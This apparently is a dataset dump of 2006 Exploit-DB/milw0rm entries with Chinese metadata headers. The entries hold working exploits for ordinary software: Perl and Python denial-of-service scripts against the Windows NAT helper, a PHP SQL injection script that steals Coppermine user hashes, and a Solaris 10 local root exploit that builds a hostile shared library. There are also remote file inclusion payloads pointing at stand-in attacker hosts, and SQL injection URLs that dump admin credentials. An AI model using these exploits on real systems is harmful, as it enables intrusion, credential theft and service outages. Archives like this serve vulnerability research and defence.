QLWD/code_shield huggingface dataset:
标题: Techno Dreams Announcement - 'key' SQL Injection EDB-ID: 2683 CVE: 2006-5641 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-30 漏洞利用脚本: *******************************************************************************
# Title  :  Techno Dreams Announcement (MainAnnounce2.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Script Page: http://www.t-dreams.com

*******************************************************************************

###http://[target]/[path]/MainAnnounce2.asp?key=[  SQL ]

Example:

//MainAnnounce2.asp?key=204%20union%20select%200,UserName,0,Password,0%20from%20admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-10-30] URL: https://www.exploit-db.com/exploits/2683
标题: Microsoft Windows - NAT Helper Components Remote Denial of Service EDB-ID: 2682 CVE: 2006-5614 类型: DOS 平台: WINDOWS 发布日期: 2006-10-30 漏洞利用脚本: #!/usr/bin/perl
##
## Microsoft Windows NAT Helper Components Remote DoS Exploit (2)
## **************************************************************
##
## .details
## --------
## Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
##
## .info
## -----
## code by x82 <x82_ [at] bk [dot] ru>
## bug by h07  <h07 [at] interia [dot] pl>
##
## .greetz
## -------
## ... goes out to triple6, wolf, lux2, EaTh, darkkilla, 2letterman .. ;)
##
##

use warnings;
use diagnostics;
use strict;

use IO::Socket;


my $host = $ARGV[0]; # 192.168.0.1
my $port = 53; # standard port
my $payload =
# by h07
"\x6c\xb6".
"\x01\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00". # <-- Bug is here 0x0000
"\x03\x77\x77\x77".
"\x06\x67\x6f\x6f".
"\x67\x6c\x65\x03".
"\x63\x6f\x6d\x00".
"\x00\x01".
"\x00\x01";

my $length = length($payload);

if((! $host || $host !~ /^\d{1,3}(\.\d{1,3}){3}$/))
{
 print "\n----------------------------------------------------------------------\n";
 print "Microsoft Windows NAT Helper Components Remote DoS Exploit\n";
 print "exploit by x82 <x82_ [at] bk [dot] ru>\n";
 print "bug discovered by h07 <h07 [at] interia [dot] pl>\n";
 print "----------------------------------------------------------------------";
 print "\n";
 print "usage: perl $0 192.168.0.1\n";
 exit;
}

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port);
unless ($socket) { die "[-] Can\'t connect to $host" }

print "\n";
print "[+] connection established\n";
print "[*] Sending payload ..." . "(size: $length)\n";
sleep(5);

print $socket $payload;

print "[+] ok - payload sent\n";


## 29.10.2006

# milw0rm.com [2006-10-30] URL: https://www.exploit-db.com/exploits/2682
标题: Simple Website Software 0.99 - 'common.php' File Inclusion EDB-ID: 2673 CVE: 2006-5636 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-29 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Script: Simple Website Software v0.99 (common.php) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Version: 3.0

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Code: include_once "$SWSDIR/local_config.php";

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

F.X:

1- open common.php
2- add this code before wrong code

$SWSDIR = getcwd() . '/..';

3- save common.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Exploit: common.php?SWSDIR=evilscripts?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Script Download: http://prdownloads.sourceforge.net/phpsws/phpsws-0.99.tgz?download

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2006-10-29] URL: https://www.exploit-db.com/exploits/2673
标题: Microsoft Windows - NAT Helper Components 'ipnathlp.dll' Remote Denial of Service EDB-ID: 2672 CVE: 2006-5614 类型: DOS 平台: WINDOWS 发布日期: 2006-10-28 漏洞利用脚本: #!/usr/bin/python
# Microsoft Windows NAT Helper Components (ipnathlp.dll) 0day Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on XP SP2 Polish
# Details:
#
# Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
#
# [Process svchost.exe, module ipnathlp]
# --> MOV DL, [EAX]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
##

from socket import *
from time import sleep

host = "192.168.0.1"
port = 53

buffer = ( # DNS (query)
"\x6c\xb6" # Transaction ID: 0x6cb6
"\x01\x00" # Flags: 0x0100 (Standard query)
"\x00\x00" # Questions: 0
"\x00\x00" # Answer RRs: 0
"\x00\x00" # Authority RRs: 0
"\x00\x00" # Additional RRs: 0 <-- Bug is here (0, 0, 0, 0)
"\x03\x77\x77\x77" #
"\x06\x67\x6f\x6f" #
"\x67\x6c\x65\x03" #
"\x63\x6f\x6d\x00" # Name: www.google.com
"\x00\x01" # Type: A (Host address)
"\x00\x01" # Class: IN (0x0001)
)

s = socket(AF_INET, SOCK_DGRAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()

# EoF

# milw0rm.com [2006-10-28] URL: https://www.exploit-db.com/exploits/2672
标题: FreePBX 2.1.3 - 'upgrade.php' Remote File Inclusion EDB-ID: 2665 CVE: 2006-7107 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-28 漏洞利用脚本: Script: freePBX
Version: v2.1.3
Script Download: http://puzzle.dl.sourceforge.net/sourceforge/amportal/freepbx-2.1.3.tgz
Code: require_once($amp_conf["AMPWEBROOT"] . "/admin/functions.inc.php");
Exploit: upgrades/2.1beta1/upgrade.php?amp_conf[AMPWEBROOT]=evilscripts?
Found: Cyber-Security
Thanks: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28] URL: https://www.exploit-db.com/exploits/2665
标题: mp3SDS 3.0 - '/Core/core.inc.php' Remote File Inclusion EDB-ID: 2666 CVE: 2006-5613 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-28 漏洞利用脚本: Script: MP3 Streaming DownSampler for PHP v3.0 (fullpath) Remote File Include Exploit
Version: 3.0
Script Download: http://damac.us/Projects/mp3SDS/archive/mp3SDS-3.0.tgz
Code: require_once("$fullpath/Core/FormatName.fnc.php");
Exploit: Core/core.inc.php?fullpath=evilscripts?
Found: Cyber-Security
Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28] URL: https://www.exploit-db.com/exploits/2666
标题: Hosting Controller 6.1 Hotfix 3.2 - Access EDB-ID: 2662 CVE: 2006-5629 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-27 漏洞利用脚本: Hosting Controller 6.1 Hotfix <= 3.2 Multi Vuln.

SQL_Injection, Command Injection

-------

[KAPDA::59] - Hosting Controller 6.1 Hotfix <= 3.2
Vendor: Hosting Controller
Vendor URL: www.hostingcontroller.com
Solution: Hotfix 3.3
Found Date: 7/1/2006
Release Date: 10/10/2006

Discussion:
--------------------
UnAuthenticated user can
1- delete every sites virtual directory on hc sites
2- make forum virtual directory (with the desire name) for everysites on hc!
3- disable all hc forums by SQL Injection
4- enable all hc forums by SQL Injection

Bugs are available in "DisableForum.asp" and "enableForum.asp" in forum directory.

Exploit: (or POC)
--------------------
1- unAuthenticated user can delete every sites virtual directory on hc sites by forum!
/forum/HCSpecific/DisableForum.asp?action=disableforum&WSiteName=testsite.com&VDirName=test&ForumID=1
-----------------------------------------------------------------
2- unAuthenticated user can make forum virtual directory (with the desire name) for everysites on hc by forum!
/forum/HCSpecific/EnableForum.asp?action=enableforum&WSiteName=testsite.com&VDirName=test&ForumID=
-----------------------------------------------------------------
3- unAuthenticated user can disable all hc forums by SQL_Injection
/forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1
-----------------------------------------------------------------
4- unAuthenticated user can enable all hc forums by SQL_Injection
/forum/HCSpecific/EnableForum.asp?action=enableforum&ForumID=1 or 1=1
--------------------

Credit :
--------------------
Soroush Dalili of Kapda and GSG
IRSDL [4t} kapda <d0t] ir
Kapda - Security Science Researchers Insitute [http://www.KAPDA.ir]
GSG - Grayhatz security group [http://www.Grayhatz.net] 

# milw0rm.com [2006-10-27] URL: https://www.exploit-db.com/exploits/2662
标题: Electronic Engineering Tool (EE TOOL) 0.4.1 - Remote File Inclusion EDB-ID: 2667 CVE: 2006-5623 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-28 漏洞利用脚本: Script Download: http://kent.dl.sourceforge.net/sourceforge/eetool/eetool-0.4-1.tar.gz
 
Code: if($type == 1) { $url = "$cgipath" . "ipcalc.cgi"; } else {
$url = "$cgipath" . "ipcalc.cgi?host=$host&mask1=$mask1&mask2=$mask2";
}nclude("$url");
 
Exploit:www.target.com/ip.inc.php?type=1&cgipath=evilscripts
 
Found: Cyber-Security
 
Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28] URL: https://www.exploit-db.com/exploits/2667
标题: MiniBill 20061010 - 'menu_builder.php' File Inclusion EDB-ID: 2656 CVE: 2006-5620 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-26 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MiniBILL v2006-10-10 (config[page_dir] Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

line 71: include($config['page_dir']."menu.php");


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/include/menu_builder.php?config[page_dir]=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, chaos ,nukedx, SHiKaA, DJR

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script url: http://www.ultrize.com/minibill/index.php?page=download

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-26] URL: https://www.exploit-db.com/exploits/2656
标题: ask_rave 0.9 PR - 'end.php?footfile' Remote File Inclusion EDB-ID: 2654 CVE: 2006-5621 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-26 漏洞利用脚本: #==================================================================
#  ask_rave (RFI)
#==================================================================
# Info:-
#
# Scripts:  ask_rave
# Download: http://rave.jk-digital.com/site/scripts/files/ask_0_9PR.zip
# Version : 0.9 PR
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/end.php?footfile=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#           metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
===================================================================

# milw0rm.com [2006-10-26] URL: https://www.exploit-db.com/exploits/2654
标题: Coppermine Photo Gallery 1.4.9 - SQL Injection EDB-ID: 2660 CVE: 2006-5622 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-27 漏洞利用脚本: #!/usr/bin/php
<?php

 /*********************************************************************
 * Coppermine Photo Gallery 1.4.9 Remote SQL Injection Vulnerability 
 * 
 * Note:
 * Requires a valid user account.
 *
 * Usage: 
 * php script.php [host] [path] [table prefix] [user id] [username] [password]
 *
 * Usage Example:
 * php script.php domain.com /coppermine/ cpg149_ 1 john secret
 *
 * Googledork"
 * "Powered by Coppermine Photo Gallery"
 *
 * Credits:
 * Disfigure - Vulnerability research and discovery
 * Synsta - Exploit scripting
 * 
 * [w4ck1ng] - w4ck1ng.com
 *********************************************************************/

if(!$argv[6]){
die("Usage:
php $argv[0] [host] [path] [table prefix] [user id] [username] [password]\n
Usage Example:
php $argv[0] domain.com /coppermine/ cpg149_ 1 john secret\n");
}

if($argv[6]){

function send($host,$put){
global $data;
$conn = fsockopen(gethostbyname($host),"80");
if(!$conn) {
die("Connection to $host failed...");
}else{
fputs($conn,$put);
}
while(!feof($conn)) {
$data .=fgets($conn);
}
fclose($conn);
return $data;
}

$host = $argv[1];
$path = $argv[2];
$prefix = $argv[3];
$userid = $argv[4];
$userl = $argv[5];
$passl = $argv[6];

$post = "username=".urlencode($userl)."&password=".urlencode($passl)."&submitted=Login";
$req  = "POST ".$path."login.php?referer=index.php HTTP/1.1\r\n"; 
$req .= "Referer: http://".$host.$path."login.php?referer=index.php\r\n";
$req .= "Host: $host\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($post)."\r\n";
$req .= "Connection: Close\r\n";
$req .= "Cache-Control: no-cache\r\n\r\n";
$req .= $post;
send("$host","$req");

/* Borrowed from rgod. */           
$temp = explode("Set-Cookie: ",$data);
$temp2 = explode(" ",$temp[1]);
$cookie = $temp2[0];
$temp2 = explode(" ",$temp[2]);
$cookie .= " ".str_replace(";","",$temp2[0]);
$cookie = str_replace("\r","",$cookie);
$cookie = str_replace("\n","",$cookie);
            
$sql = urlencode("123 UNION SELECT user_id,user_group,concat(user_name,char(58,58),user_password) FROM ".$prefix."users where user_id = ".$userid." --");
$req =  "GET ".$path."picmgr.php?aid="."$sql HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Cookie: ".$cookie."\r\n\r\n";
$req .= "Connection: Close\r\n\r\n";
send("$host","$req");

$gdata = explode("<option value=\"picture_no=1,picture_nm=",$data);
$ghash = explode(",action=0\">",$gdata[1]);
$hash = $ghash[0];
$uname = explode("'",$hash);
$uname = explode("::",$uname[1]);
$username = $uname[0];
$fhash = explode("::",$hash);
$fhash = explode("',picture_sort=100",$fhash[1]);
$finalhash = $fhash[0];

if(strlen($finalhash) != 32){ 
die("Exploit failed..\n"); 
}else{ 
die("Username: $username MD5: $finalhash\n"); 
}
}
?>

# milw0rm.com [2006-10-27] URL: https://www.exploit-db.com/exploits/2660
标题: MPCS 1.0 - 'path' Remote File Inclusion EDB-ID: 2653 CVE: 2006-5624 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-26 漏洞利用脚本: #==================================================================
#  Multi-Page Comment System (RFI)
#==================================================================
# Info:-
#
# Scripts:  Multi-Page Comment System (MPCS)
# Home: http://tpvgames.co.uk/web/mpcs/
# Download: http://myweb.tiscali.co.uk/williamshost/mpcs.zip
# Version : 1.0.0
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/include.php?path=http://EvElCoDe.txt?
#http://localhost/path/functions.php?path=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#           metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
#==================================================================

# milw0rm.com [2006-10-26] URL: https://www.exploit-db.com/exploits/2653
标题: ArticleBeach Script 2.0 - 'index.php' Remote File Inclusion EDB-ID: 2645 CVE: 2006-5590 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-25 漏洞利用脚本: ------------------------------------------------------------------------------
ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability
------------------------------------------------------------------------------

Author  : Zeni Susanto a.k.a Bithedz
Date Found : October, 22th 2006
Location : Indonesia, Bandung
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : ArticleBeach
version  : 2.0
vendor  : http://articlebeach.com
source url      : http://www.articlebeach.com/script/

---------------------------------------------------------------------------

Description:
~~~~~~~~~
Articlebeach is Your one-stop source for free articles. Do you need contents to add to your web site? Or articles for use on your opt-in newsletters and e-zines? ArticleBeach has scoured the web and indexed a huge collection of articles on various subjects. Just click on the appropriate category to read the articles.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

I found vulnerability script in index.php

---------- index.PHP---------------------------------------------------------
include($_GET["page"].".php"); 
-----------------------------------------------------------------------------

Input passed to the "page" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~

http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt?

-----------------------------------------------------------------------------

Solution:
~~~~
- download fix in vendor URL 

-----------------------------------------------------------------------------

google d0rk:
~~~~~~~~
"ArticleBeach"

-----------------------------------------------------------------------------
Shoutz:
~~~

~ My Wife Monik 
~ kaiten
~ #e-c-h-o, #bridge (silent) @irc.dal.net
-----------------------------------------------------------------------------

Contact:
~~~~
 
     Bithedz[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-25] URL: https://www.exploit-db.com/exploits/2645
标题: Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3) EDB-ID: 2641 CVE: 2006-4842 类型: LOCAL 平台: SOLARIS 发布日期: 2006-10-24 漏洞利用脚本: #!/bin/sh

#
# $Id: raptor_libnspr3,v 1.1 2006/10/24 15:54:57 raptor Exp $
#
# raptor_libnspr3 - Solaris 10 libnspr constructor exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of 
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to 
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Yet another newschool version of the local root exploit: this time we place
# our code in the global constructor (ctors) for the library, as suggested by
# gera. This way, we don't have to hide a real function and we have a generic
# library that can be used in all exploits like this. To avoid annoying side-
# effects, i use trusted directories and LD_LIBRARY_PATH instead of replacing
# a library in the default search path.
#
# See also:
# http://www.0xdeadbeef.info/exploits/raptor_libnspr
# http://www.0xdeadbeef.info/exploits/raptor_libnspr2
#
# Usage:
# $ chmod +x raptor_libnspr3
# $ ./raptor_libnspr3
# [...]
# Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
# # id
# uid=0(root) gid=1(other)
# # rm /usr/lib/secure/libldap.so.5
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr3 - Solaris 10 libnspr constructor exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/libldap.so.5
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/sbin/lpmove
#/usr/bin/su
#/usr/bin/mailq

# prepare the evil shared library
echo "void __attribute__ ((constructor)) cons() {"     > /tmp/ctors.c
echo "        setuid(0);"                             >> /tmp/ctors.c
echo "        execle(\"/bin/ksh\", \"ksh\", 0, 0);"   >> /tmp/ctors.c
echo "}"                                              >> /tmp/ctors.c
gcc -fPIC -g -O2 -shared -o /usr/lib/secure/libldap.so.5 /tmp/ctors.c -lc
if [ $? -ne 0 ]; then
 echo "problems compiling evil shared library, check your gcc"
 exit 1
fi

# newschool LD_LIBRARY_PATH foo;)
unset NSPR_LOG_MODULES NSPR_LOG_FILE
LD_LIBRARY_PATH=/usr/lib/secure su -

# milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2641
标题: UeberProject 1.0 - '/login/secure.php' Remote File Inclusion EDB-ID: 2640 CVE: 2006-5539 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-24 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Uber Project Document Management System (secure.php) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE: in secure.php

line 12: $cfgRealProgDir =  $cfg[homepath].$cfgProgDir2;

line 113: include($cfgRealProgDir . "lng/" . $languageFile);

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/login/secure.php?cfg[homepath]=http://evil_script ?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1tk4t, x_w0x,OG

Tesekkurler: DJR, mdx, R3D4C!D, sakkure, ERNE:)

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://www.meisel.cc/software/ueberp/ueberp-1.0.tar.bz2

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2640